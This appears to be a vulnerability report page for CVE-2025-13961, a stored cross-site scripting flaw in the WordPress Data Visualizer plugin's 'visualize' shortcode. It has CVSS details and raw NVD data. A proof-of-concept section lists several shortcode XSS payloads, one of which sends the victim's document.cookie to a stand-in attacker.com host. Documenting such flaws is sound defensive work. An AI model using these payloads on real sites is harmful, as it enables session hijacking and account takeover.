Security Vulnerability Report
中文
CVE-2025-13961 CVSS 6.4 MEDIUM

CVE-2025-13961

Published: 2025-12-12 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

The Data Visualizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'visualize' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Data Visualizer插件 <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13961 PoC - Stored XSS via visualize shortcode --> <!-- Attack requires contributor-level access or higher --> <!-- Method 1: Using script tag --> [visualize type='line' data='<script>alert(document.cookie)</script>'] <!-- Method 2: Using event handler --> [visualize type='line' title='<img src=x onerror=alert(String.fromCharCode(88,83,83))>'] <!-- Method 3: Using JavaScript URI --> [visualize type='line' label='" onerror="alert(document.domain)" x="'] <!-- Real exploitation example - session hijacking --> [visualize type='pie' data='<img src=x onerror=" var xhr=new XMLHttpRequest(); xhr.open('GET','https://attacker.com/steal?c='+document.cookie,true); xhr.send(); ">']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13961", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:44.123", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Data Visualizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'visualize' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/data-visualizer/tags/1.1/data-visualizer.php#L92", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/data-visualizer/trunk/data-visualizer.php#L92", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ac7aeb6a-4e41-4301-8e79-ffe1468c0940?source=cve", "source": "[email protected]"}]}}